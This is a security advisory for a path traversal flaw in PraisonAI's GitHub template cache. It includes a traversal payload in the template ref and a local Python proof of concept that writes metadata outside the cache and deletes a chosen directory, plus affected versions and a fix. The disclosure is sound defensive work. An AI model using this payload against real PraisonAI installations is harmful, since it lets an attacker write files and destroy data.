praisonai
Affected
- introduced
2.6.0, fixed4.6.59(ecosystem)
Fixed versions
4.6.59
Fix
- Fixed version
4.6.59pip install --upgrade praisonai==4.6.59
Advisory
Also known as: CVE-2026-57113, GHSA-f44v-7qgw-9gh9
PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion
Summary
PraisonAI's template loader accepts GitHub template URIs with refs, for examplegithub:owner/repo/[email protected]. The resolver stores the user-controlled
template path and ref verbatim, and the cache layer later joins those values into~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without
normalizing each segment or checking that the final path remains inside the
template cache root.
A crafted ref such as ../../../../../../outside-delete-target therefore
escapes the cache directory. The first load can write .cache_meta.json outside
the cache. If the normal cache hierarchy for the same owner/repo/template has
already been created, the same path reaches shutil.rmtree(cache_path) and
removes an attacker-selected outside directory before replacing it with cache
metadata.
This is distinct from the old template Zip Slip advisory. No malicious archive
member is needed, and the PoV disables network access entirely. The bug is in
cache-key construction for GitHub template URIs.
Affected versions
Confirmed vulnerable:
v2.6.0v3.9.24v3.9.26v4.5.126v4.5.128v4.6.9v4.6.10v4.6.56v4.6.572f9677abb2ea68eab864ee8b6a828fd0141612e1Recommended affected range: >= 2.6.0, <= 4.6.57.
No fixed version is known at the time of this report.
Impact
An attacker who can cause a user or service to load an attacker-supplied
PraisonAI GitHub template URI can:
.cache_meta.json outside the template cache directory;Root cause
Current-head code path:
praisonai/templates/resolver.py: GITHUB_PATTERN captures path and ref with broad regex groups and returns them without segment validation.praisonai/templates/security.py: is_source_allowed() allows GitHub sources by default when allow_any_github is true.praisonai/templates/registry.py: get_template() resolves a GitHub URI, fetches the template, calculates a checksum, then calls self.cache.put(...).praisonai/templates/cache.py: _get_cache_path() builds the cache path as self.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref.praisonai/templates/cache.py: put() removes an existing cache_path with shutil.rmtree(cache_path), recreates it, copies content, and writes .cache_meta.json.There is no check equivalent to:
. / .. in owner, repo, template path, or ref;os.path.commonpath([cache_root, candidate]) == cache_root.Local-only PoV
Run from a PraisonAI source checkout:
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry
def loader(cache_dir):
cache = TemplateCache(cache_dir=cache_dir)
registry = TemplateRegistry(cache=cache, offline=False)
registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
RuntimeError("network disabled")
)
return TemplateLoader(cache=cache, registry=registry)
with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
root = Path(tmp)
cache_dir = root / "cache" / "templates"
write_target = root / "outside-write-target"
loader(cache_dir).load(
"github:attacker/repo/template@../../../../../../outside-write-target"
)
delete_target = root / "outside-delete-target"
delete_target.mkdir()
canary = delete_target / "canary.txt"
canary.write_text("delete-me")
ldr = loader(cache_dir)
ldr.load("github:attacker/repo/template@main")
ldr.load(
"github:attacker/repo/template@../../../../../../outside-delete-target"
)
safe_target = root / "safe-control"
safe_target.mkdir()
safe_canary = safe_target / "canary.txt"
safe_canary.write_text("must-remain")
loader(root / "safe-cache" / "templates").load(
"github:attacker/repo/template@main"
)
print("outside metadata written:", (write_target / ".cache_meta.json").exists())
print("outside canary exists after malicious ref:", canary.exists())
print("safe canary exists after normal ref:", safe_canary.exists())
Expected output:
outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: True
The PoV uses only temporary directories and disables network fetches.
I also confirmed the same behavior without monkeypatching network fetches. With
a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles
the failed fetch, returns a fallback template config, and still writes/deletes
through the escaped cache path. The PoV above disables network only to keep the
reproducer deterministic and harmless.
Release sweep
The same PoV was run against checked-out tags:
praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True
git log shows the affected template cache/resolver/registry files were added
in the v2.6.0 release commit e7a8ce8e.
Suggested fix
Validate every cache path segment before joining:
/ and reject empty, ., .., and absolute forms;/, path separators, empty segments, ., .., and absolute forms, or encode/hash the ref before using it in a filesystem path.Then enforce a final boundary check:
cache_root = self.cache_dir.resolve()
candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
raise ValueError("template cache path escapes cache root")
A more robust design is to hash untrusted URI fields into opaque directory names
instead of using raw remote identifiers as path segments.
Also consider failing closed when a GitHub template fetch returns no files.
Currently a failed fetch can still result in a cached empty template directory.
High Basis: CVSS v3 score 8.1, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
2.6.0, fixed 4.6.59 (ecosystem)4.6.59
4.6.59pip install --upgrade praisonai==4.6.59Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: PyPA Advisory Database · CC BY 4.0